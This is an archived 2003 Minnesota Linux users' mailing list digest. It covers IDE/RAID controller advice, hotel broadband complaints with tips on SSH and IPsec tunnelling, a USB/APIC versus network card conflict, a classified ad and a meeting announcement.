https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Sat Aug 30 13:48:25 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:41:09 2005 Subject: [TCLUG] ATA card recommendation for Slackware In-Reply-To: <30135448825.20030830110441@toughguy.net>; from chewbaka@toughguy.net on Sat, Aug 30, 2003 at 11:04:41AM -0500 References: <30135448825.20030830110441@toughguy.net> Message-ID: <20030830134825.A4384@thinkunix.net> B_o_B wrote: > Saturday, August 30, 2003 @ 10:52:36 AM Central Standard Time > Hi. Can anyone recommend an ATA133 controller (pci) card that is > friendly with Slackware. I have a Promise PCI ATA 133 IDE controller card that came with a Maxtor 80G IDE 7200 rpm drive. It's installed in a Cyrix P5 class (233 Mhz) box and runs great with an older highly customized nameless Linux distro (it was RH before I got to it...) Nothing special to setting it up. Just plugged in the PCI card, made sure kernel had PCI and IDE support and it just worked. I'm almost certain a current Slackware (7.x and up) would have not trouble seeing the Promise PCI controller. I think you can buy these cards retail for about $20-25 at Microcenter, but check http://www.pricewatch.com/ or other online pricing sites before buying. If you plan to put more then 4 drives in your server or you want RAID capability, which you probably will with the bigger hard drives today, you should investigate IDE RAID controllers. I can't speak to them but I think others on the list have experience with them. I know if I had to do it over, I'd probably just get a RAID-5 NAS (Network Attached Storage) unit with hot swap drives. A nice little 1U "black box" with a huge amount of RAID-5 disk that requires minimal administration. Plug in the power and network cables and NFS mount off of it. Done. Beware of the Windows based NAS units though. They're only UNIX friendly to a point, eg you can't create device files on them and possibly other restrictions. > To make a long story short, the card simply labeled "Made in Chi-Wan" > became an Unidentified Flying Object aka UFO (through the winter skies of > North-East Minneapolis), Seriously, I hope you disposed of it properly, in an environmentally safe way. Keep in mind we drink the water that comes from the ground around here... > Now my fleet consist's of all Linux servers > (mostly Slack, 1 Debian, & 1 FreeBSD - if that counts). yes, FreeBSD counts, it's UNIX too, a different breed, but still UNIX. > I (on hand and knee, doing my best Captain Kirk impression) > Plead to the Jedi's of the Linux ways, to please help > recommend an ata133 pci (or even just a friendly chipset) this Jedi has spoken... May The Force [and source] be with you, always... -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From joeltclug at litriusgroup.com Sun Aug 31 00:00:04 2003 From: joeltclug at litriusgroup.com (Joel Wickard) Date: Mon Jan 17 12:41:09 2005 Subject: [TCLUG] [OT] rant about country inn and suites. Message-ID: <64668.216.146.78.74.1062306004.squirrel@mail.fifthstreet.net> I just thought I'd throw this up on the list. If anyone plans on taking a trip someplace and booking a room at country inn & suites... don't do it for the internet connection. ( I tried to get a room at a couple other hotels, but this place was the only one that had vacancies in the area. ) I was glad to see that there was ethernet in the room when I got here, and even happier that the office had ethernet cables at the front desk for people who forgot to bring thier own ( I feel like such a rookie ) What I haven't been enjoying is having to login through their website every 24 hours to reactivate the ability for my room to hit the internet ( I only had to do this once at a hyatt regency ) Also the hotels "high speed" internet access provided by GlobalNet literally flies at the super sonic speed of slow. It takes a good 15 seconds for a page to load and I started a download of a pdf catalog and was getting a mind blowing 2.5kbps for speed. But best of all, ( the straw that boke the camels back and made me write this ) I decided to hit slashdot to check up on things, and was redirected to the country inn website with a page that said the site was unavailable. I tried opening a new browser session.. same thing. I thought maybe the page was really down, so I logged into my home computer and tried to fire it up... resolved perfectly... bastards.. Thank god I leave tomorrow morning. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Sun Aug 31 00:09:52 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:41:09 2005 Subject: [TCLUG] [OT] rant about country inn and suites. In-Reply-To: <64668.216.146.78.74.1062306004.squirrel@mail.fifthstreet.net>; from joeltclug@litriusgroup.com on Sun, Aug 31, 2003 at 12:00:04AM -0500 References: <64668.216.146.78.74.1062306004.squirrel@mail.fifthstreet.net> Message-ID: <20030831000951.A10989@thinkunix.net> next time, you might try looking here first for wired hotels: http://www.geektools.com/geektels/ Joel Wickard wrote: > I just thought I'd throw this up on the list. If anyone plans on taking a > trip someplace and booking a room at country inn & suites... don't do it -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jethro at freakzilla.com Sat Aug 30 23:51:36 2003 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 12:41:09 2005 Subject: [TCLUG] USB and Ethernet... uh... conflict I think... Message-ID: Hey guys, Here's a fun one. I've got this machine I've never been able to get USB to work on. Lately I've moved it to the 2.6 kernels, and also got some devices that make USB somewhat important. After fiddling around with the kernel for a while I discovered that if I disable "Local APIC", USB works just perfectly. However, the ethernet card doesn't work (3com 3c905). Enable APIC, ethernet works again, USB is dead. I went back to 2.4.21 to test, and it happens there, too. Tried moving the ethernet card to different slots, didn't help. BIOS doesn't seem to have any special options for this stuff. Anyone have any idea how to fix this? -Yaron -- _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at real-time.com Sun Aug 31 01:12:22 2003 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 12:41:09 2005 Subject: [TCLUG] CNN: Blaster interview Message-ID: <20030831011222.E18196@real-time.com> Anyone catch the CNN interview on Blaster? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From poptix at techmonkeys.org Sun Aug 31 02:00:09 2003 From: poptix at techmonkeys.org (Matthew S. Hallacy) Date: Mon Jan 17 12:41:09 2005 Subject: [TCLUG] ATA card recommendation for Slackware In-Reply-To: <20030830134825.A4384@thinkunix.net> References: <30135448825.20030830110441@toughguy.net> <20030830134825.A4384@thinkunix.net> Message-ID: <20030831070008.GD13598@techmonkeys.org> On Sat, Aug 30, 2003 at 01:48:25PM -0500, Scot Jenkins wrote: > and it just worked. I'm almost certain a current Slackware (7.x and up) > would have not trouble seeing the Promise PCI controller. I've also had 0 problems with promise PCI IDE controllers, and they're well supported under linux. > I think you can buy these cards retail for about $20-25 at Microcenter, > but check http://www.pricewatch.com/ or other online pricing sites before > buying. Best Buy has them as well, last i checked. > > If you plan to put more then 4 drives in your server or you want RAID > capability, which you probably will with the bigger hard drives today, > you should investigate IDE RAID controllers. I can't speak to them but > I think others on the list have experience with them. Unfortunately, it's been nothing but bad experiences with the promise RAID controllers. Personally I prefer software RAID since you're not sitting at the POST screen waiting for it to rebuild. The performance is comparable with a cheap IDE RAID controller as well, with more support. -- Matthew S. Hallacy FUBAR, LART, BOFH Certified http://www.poptix.net GPG public key 0x01938203 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From joeltclug at litriusgroup.com Sun Aug 31 07:42:58 2003 From: joeltclug at litriusgroup.com (Joel Wickard) Date: Mon Jan 17 12:41:09 2005 Subject: [TCLUG] [OT] rant about country inn and suites. In-Reply-To: <20030831000951.A10989@thinkunix.net> References: <64668.216.146.78.74.1062306004.squirrel@mail.fifthstreet.net> <20030831000951.A10989@thinkunix.net> Message-ID: <64727.216.146.78.74.1062333778.squirrel@mail.fifthstreet.net> > next time, you might try looking here first for wired hotels: > http://www.geektools.com/geektels/ There is only one problem with this geektels list.... The country inn & suites I'm staying at is on thier list.... A hotel with a network that blocks slashdot is no geektel at all IMO. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jeffr at odeon.net Sun Aug 31 08:14:06 2003 From: jeffr at odeon.net (jeffr@odeon.net) Date: Mon Jan 17 12:41:09 2005 Subject: [TCLUG] ATA card recommendation for Slackware In-Reply-To: <20030831070008.GD13598@techmonkeys.org> Message-ID: Just as a side note, I've had very good luck with 3ware EIDE raid controllers. Also, the one time I've had a drive fail (so far), after I stuck in the new drive the system booted completely while it was doing the rebuild. The system was obviously slower than normal until the rebuild was done, but it was up and running. My experience with the Promise eide raid controllers hasn't been nearly as good, nor my experience with software raid, although I admittedly haven't tried software raid under linux recently (not since the later 2.2 kernels). Jeff On Sun, 31 Aug 2003, Matthew S. Hallacy wrote: > On Sat, Aug 30, 2003 at 01:48:25PM -0500, Scot Jenkins wrote: > > and it just worked. I'm almost certain a current Slackware (7.x and up) > > would have not trouble seeing the Promise PCI controller. > > I've also had 0 problems with promise PCI IDE controllers, and they're well > supported under linux. > > > I think you can buy these cards retail for about $20-25 at Microcenter, > > but check http://www.pricewatch.com/ or other online pricing sites before > > buying. > > Best Buy has them as well, last i checked. > > > > > If you plan to put more then 4 drives in your server or you want RAID > > capability, which you probably will with the bigger hard drives today, > > you should investigate IDE RAID controllers. I can't speak to them but > > I think others on the list have experience with them. > > Unfortunately, it's been nothing but bad experiences with the promise RAID > controllers. Personally I prefer software RAID since you're not sitting > at the POST screen waiting for it to rebuild. The performance is comparable > with a cheap IDE RAID controller as well, with more support. > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sulrich at botwerks.org Sun Aug 31 13:50:40 2003 From: sulrich at botwerks.org (steve ulrich) Date: Mon Jan 17 12:41:09 2005 Subject: [TCLUG] [OT] rant about country inn and suites. In-Reply-To: <64668.216.146.78.74.1062306004.squirrel@mail.fifthstreet.net> References: <64668.216.146.78.74.1062306004.squirrel@mail.fifthstreet.net> Message-ID: <20030831185040.GA27528@botwerks.org> when last we saw our hero (Sunday, Aug 31, 2003), Joel Wickard was madly tapping out: > I just thought I'd throw this up on the list. If anyone plans on taking a > trip someplace and booking a room at country inn & suites... don't do it > for the internet connection. ( I tried to get a room at a couple other > hotels, but this place was the only one that had vacancies in the area. ) > I was glad to see that there was ethernet in the room when I got here, and > even happier that the office had ethernet cables at the front desk for > people who forgot to bring thier own ( I feel like such a rookie ) What I > haven't been enjoying is having to login through their website every 24 > hours to reactivate the ability for my room to hit the internet ( I only > had to do this once at a hyatt regency ) Also the hotels "high speed" > internet access provided by GlobalNet literally flies at the super sonic > speed of slow. It takes a good 15 seconds for a page to load and I > started a download of a pdf catalog and was getting a mind blowing 2.5kbps > for speed. But best of all, ( the straw that boke the camels back and > made me write this ) I decided to hit slashdot to check up on things, and > was redirected to the country inn website with a page that said the site > was unavailable. I tried opening a new browser session.. same thing. I > thought maybe the page was really down, so I logged into my home computer > and tried to fire it up... resolved perfectly... bastards.. Thank god I > leave tomorrow morning. with broadband in the hotel room you pays your money and you takes your chances ... caveat emptor. i spend an unhealthy amount of time on the road for work and i've interacted with tons of these portal based broadband access systems. by way of an FYI - country inn & suites uses wayport for broadband service delivery as well and in many of their hotels they have wireless support in the commons areas. (which is boingo-able btw) so i don't know that pointing the finger specifically at ci&s is necessarily warranted. ;-) all hotel bband systems are a compromise (which means they screw pretty much everybody equally). you're going to find the 24 hour login pretty much everywhere. it provides a nice way for the hotel to cleanly integrate everything into the billing system. apparently, in the hotel business clean billing is everything. portal based systems are a royal PITA no matter what you do and the particularly broken ones (which ironically always seem to have an old kernel rev linux tcp behavior sig) will punt you if they don't see traffic sourced for TCP:80 on a pretty regular basis. some tips from a guy who does this *a lot* from all over the world. 1 - tunnel everything - i don't trust anyone and i certainly don't trust the local nerd at the hotel i'm staying to not sniff the traffic coming from my room to harvest passwords for sites, IM, etc. 1a - when using ipsec make sure that you've got a client (and server) that support tunneling over udp. lots of these portal systems are nat'd to the outside world and hence they seem to break a lot of less clueful ipsec clients/concentrators. nortel contivity suckers seem to be particularly hard bitten by this crap. 1b - failing ipsec ... learn to use and love ssh tunneling. which also means learning how to use the proxy functionality in your favorite web browser. what? your browser doesn't support proxy autoconfig files? sucks to be you ... 2 - feed the portal troll - if you're ssh tunneling everything (including web traffic) you're not going to trigger the counters that indicate an active connection on some systems. keep these suckers happy by periodically fetching something w/(wget|fetch|your_cli_http_client_of_choice) every couple of minutes should be sufficient to keep most of these things happy and prevent them from punting your connection. note: do this externally of the proxy mechanisms you're using to tunnel the rest of your traffic. if you're ipsec tunneling and you can't run your client in split tunnel mode you can expect some interesting punts here. 3 - avoid UDP based applications - these don't tunnel nicely 4 - work in batches - suck your mail down locally, read, compose, etc and send it in batches. you won't feel so bad when that long-ass email you've been working on disappears because the connection crapped out... 5 - learn to use and love screen - if you must work interactively over the connection. screen will save you tons of cursing (no pun intended) when the connection gets horked. you simply re-establish your connection and screen -R - voila, you're back where you were. 6 - a plug for ssh here, ssh -X -C makes a remarkable difference in remote X display. -- steve ulrich sulrich@botwerks.org PGP: 8D0B 0EE9 E700 A6CF ABA7 AE5F 4FD4 07C9 133B FAFC _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From mj at toyotavans.org Sun Aug 31 03:32:58 2003 From: mj at toyotavans.org (M. Jentges) Date: Mon Jan 17 12:41:09 2005 Subject: [TCLUG] USB and Ethernet... uh... conflict I think... In-Reply-To: References: Message-ID: <3F51B2BA.6040904@toyotavans.org> Hi Yaron... Have you tried (or does it even exist?) the cfg utility for the NIC? Perhaps it really IS just as simple as an interrupt conflict. Not sure about the 905's but the 509's had a nifty util called '3c5x9cfg.exe' You put it on a DOS floppy, boot the box, run the exe and enable/disable PnP, set io, interrupts, etc... Just a thought... -Michael Henry Jentges Yaron wrote: > Hey guys, > > Here's a fun one. > > I've got this machine I've never been able to get USB to work on. Lately > I've moved it to the 2.6 kernels, and also got some devices that make USB > somewhat important. > > After fiddling around with the kernel for a while I discovered that if I > disable "Local APIC", USB works just perfectly. > > However, the ethernet card doesn't work (3com 3c905). Enable APIC, > ethernet works again, USB is dead. > > I went back to 2.4.21 to test, and it happens there, too. Tried moving the > ethernet card to different slots, didn't help. BIOS doesn't seem to have > any special options for this stuff. > > Anyone have any idea how to fix this? > > > -Yaron > > -- > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From webmaster at mn-linux.org Sat Aug 30 20:05:12 2003 From: webmaster at mn-linux.org (webmaster@mn-linux.org) Date: Mon Jan 17 12:41:09 2005 Subject: [TCLUG] A new classified ad at TCLUG Classifieds Message-ID: <200308310105.h7V15Co22252@crusader.real-time.com> A new TCLUG classified ad at was placed Sat Aug 30 20:05:12 2003. Name: nkras Category: computersell Subject: Sparc 4 for sale Ad: SparcStation 4/110 Mhz/24 MB/2.1 GB/2x CDROM/no keyboard or mouse/Solaris 8 core install: $40/RO To view this and other ads at TCLUG Classifieds, please visit: http://www.mn-linux.org/cgi-bin/classifieds/classifieds.cgi _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From lxy at cloudnet.com Mon Aug 18 11:40:17 2003 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 12:41:58 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Septemeber SCALUG meeting Message-ID: I realize it's a bit early, but you'll want to clear your calendars for this one. Our next SCALUG meeting is September 20 at 3PM in St. Cloud. Jon Parshall from CodeWeavers will be presenting Crossover 2.0 as well as other neat Codeweavers products. He'll also be giving away free Codeweavers stuff just for showing up. For directions and other info, check out the SCALUG website at http://scalug.mn-linux.org/meetings.php We look forward to seeing you! -Brian _______________________________________________ Twin Cities Linux Users Group Announcements - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-announce mailing list tclug-announce@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-announce _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list